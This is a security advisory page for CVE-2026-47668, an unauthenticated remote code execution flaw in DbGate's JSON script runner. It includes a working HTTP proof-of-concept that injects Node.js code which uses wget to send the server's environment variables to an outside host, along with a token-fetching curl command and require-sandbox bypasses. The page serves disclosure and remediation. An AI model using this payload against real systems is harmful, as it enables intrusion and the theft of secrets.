Skip to main content

DbGate CVE-2026-47668

| EUVDEUVD-2026-48340 CRITICAL
Improper Input Validation (CWE-20)
2026-06-05 https://github.com/dbgate/dbgate GHSA-8v3q-9vmx-36vc
10.0
CVSS 3.1 · Vendor: https://github.com/dbgate/dbgate
Share

Severity by source

Vendor (https://github.com/dbgate/dbgate) PRIMARY
10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/dbgate/dbgate) · only source for this CVE.

CVSS VectorVendor: https://github.com/dbgate/dbgate

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jun 05, 2026 - 16:52 vuln.today
Analysis Generated
Jun 05, 2026 - 16:52 vuln.today
CVE Published
Jun 05, 2026 - 16:25 nvd
CRITICAL 10.0

DescriptionCVE.org

Summary

DbGate's JSON script runner (POST /runners/start) allows remote code execution via code injection in the functionName parameter of JSON script assign commands. The functionName value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.

Details

Step 1: User Input Entry Point

File: packages/api/src/controllers/runners.js - start() method

The /runners/start endpoint accepts a POST body containing a script object. When script.type == 'json', the request follows a different code path than raw shell scripts:

javascript
async start({ script }, req) {
    if (script.type == 'json') {
        if (!platformInfo.isElectron) {
            if (!checkSecureDirectoriesInScript(script)) {
                return { errorMessage: 'Unallowed directories in script' };
            }
        }
        logJsonRunnerScript(req, script);
        const js = await jsonScriptToJavascript(script);
        return this.startCore(runid, scriptTemplate(js, false));
    }

This path skips:

  1. The run-shell-script permission check
  2. The allowShellScripting platform-level check

The only validation performed is checkSecureDirectoriesInScript(), which props.fileName values

---

Step 2: JSON-to-JavaScript Conversion (Injection Point)

File: packages/tools/src/ScriptWriter.ts - assignCore() method

The JSON script's commands array contains objects with type: "assign". The assignCore method generates JavaScript by direct string concatenation of user-controlled values:

typescript
assignCore(variableName, functionName, props) {
    this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);
}

Both variableName and functionName are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.

---

Step 3: Function Name Compilation

File: packages/tools/src/packageTools.ts - compileShellApiFunctionName()

Before interpolation, functionName passes through this function:

typescript
export function compileShellApiFunctionName(functionName) {
    const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
    if (nsMatch) {
        return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
    }
    return `dbgateApi.${functionName}`;
}

An attacker supplying functionName: "x;MALICIOUS_CODE;//" gets:

dbgateApi.x;MALICIOUS_CODE;//

This is syntactically valid JavaScript: dbgateApi.x evaluates (and is discarded), MALICIOUS_CODE executes, and // comments out the trailing (${JSON.stringify(props)});.

---

Step 4: Generated JavaScript Template

The complete generated script that gets executed:

javascript
const dbgateApi = require(process.env.DBGATE_API);
require = null;
async function run() {
    const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({});
    await dbgateApi.finalizer.run();
}
dbgateApi.runScript(run);
Step 5: Execution via child_process.fork()

File: packages/api/src/controllers/runners.js - startCore() method

The generated JavaScript string is written to a temporary file and executed as a new Node.js process via child_process.fork(). This provides the attacker with a full Node.js runtime, including access to process, child_process, fs, net, and all other Node.js built-in modules.

The require = null sandbox can be bypassed via:

  • process.mainModule.require() - separate reference unaffected by the null assignment
  • module.constructor._load() - internal module loader, also unaffected

---

Additional Injection Points

The same unsanitised string interpolation pattern exists in:

EndpointParameterFile
POST /runners/startfunctionName in assign commandsScriptWriter.ts - assignCore()
POST /runners/startvariableName in assign commandsScriptWriter.ts - assignCore()
POST /runners/load-readerfunctionName parameterScriptWriter.ts - loaderScriptTemplate

PoC

http
POST /runners/start HTTP/1.1
Host: <dbgate-instance>:3000
Authorization: Bearer <token>
Content-Type: application/json

{
  "script": {
    "type": "json",
    "commands": [
      {
        "type": "assign",
        "variableName": "x",
        "functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" <out of band host>');//",
        "props": {}
      }
    ],
    "packageNames": []
  }
}

The request to the out of band host was as follows:

http
POST / HTTP/1.1
Host: <out of band host>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 251

NODE_VERSION=22.22.2
HOSTNAME=4714c7a7405f
YARN_VERSION=1.22.22
HOME=/root
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DBGATE_API=/home/dbgate-docker/bundle.js
PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c

---

A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:

bash
curl -sk -H "Content-Type: application/json"   -d '{"amoid":"none"}'   <dbgate-instance>:3000/auth/login

Impact

ScenarioImpactCVSS ScoreCVSS Vector
Anonymous auth mode (default deployment) (authProvider: "Anonymous")Unauthenticated RCE10.0CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Authenticated deploymentAuthenticated RCE - any user with API access9.9CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Timeline

DateEvent
2026-03-31Vulnerability discovered
2026-04-07Advisory report prepared and submitted to maintainer
2026-04-22Fix released (v7.1.9)
2026-04-24Maintainer acknowledgment
2026-05-20Public disclosure

Acknowledgements

  • Discovery assisted by Neo from @ProjectDiscovery
  • Initial research direction inspired by @H0j3n - https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml

AnalysisAI

Unauthenticated remote code execution in DbGate (npm package dbgate-serve, versions <= 7.1.8) lets remote attackers execute arbitrary Node.js code by injecting JavaScript through the functionName parameter of the POST /runners/start JSON script runner. Default Docker deployments ship with Anonymous authentication enabled, making this exploitable without credentials (CVSS 10.0), and a public Nuclei template plus detailed PoC mean publicly available exploit code exists even though no CISA KEV listing was identified at time of analysis.

Technical ContextAI

DbGate is an open-source, web-based database management tool distributed via npm as dbgate-serve and commonly deployed as a Docker container. The flaw is a CWE-20 (Improper Input Validation) leading to a classic code injection (CWE-94 class). In packages/tools/src/ScriptWriter.ts, assignCore() builds JavaScript source via string concatenation: const ${variableName} = await ${functionName}(${JSON.stringify(props)});. The compileShellApiFunctionName() helper only rearranges namespace prefixes and does not sanitize the value, so attacker-controlled functionName content (e.g. x;payload;//) becomes syntactically valid JS that is then written to a temp file and executed by child_process.fork(), yielding a full Node.js runtime. The JSON code path also bypasses the run-shell-script permission check and the allowShellScripting platform flag, and the in-script require = null sandbox is trivially bypassed via process.mainModule.require() or module.constructor._load().

RemediationAI

Vendor-released patch: upgrade dbgate-serve to 7.1.9 or later (https://github.com/dbgate/dbgate/releases/tag/v7.1.9), which is the only complete fix since the same unsanitised interpolation pattern affects both functionName and variableName in POST /runners/start as well as functionName in POST /runners/load-reader. If immediate upgrade is impossible, prevent network reachability to the runner endpoints by placing DbGate behind an authenticating reverse proxy and explicitly configuring a non-Anonymous authProvider via environment variables (side effect: any user with API access can still trigger the authenticated variant, so combine with least-privilege accounts); additionally block external access to /runners/start and /runners/load-reader at the proxy layer (side effect: legitimate scripting/automation workflows will break) and bind DbGate to localhost only where remote use is not required. Hunt for indicators by reviewing the runner job directory under ~/.dbgate/run/ and the logJsonRunnerScript output for assign commands containing semicolons or process.mainModule.require in functionName/variableName values. Full details: https://github.com/advisories/GHSA-8v3q-9vmx-36vc.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

Share

CVE-2026-47668 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy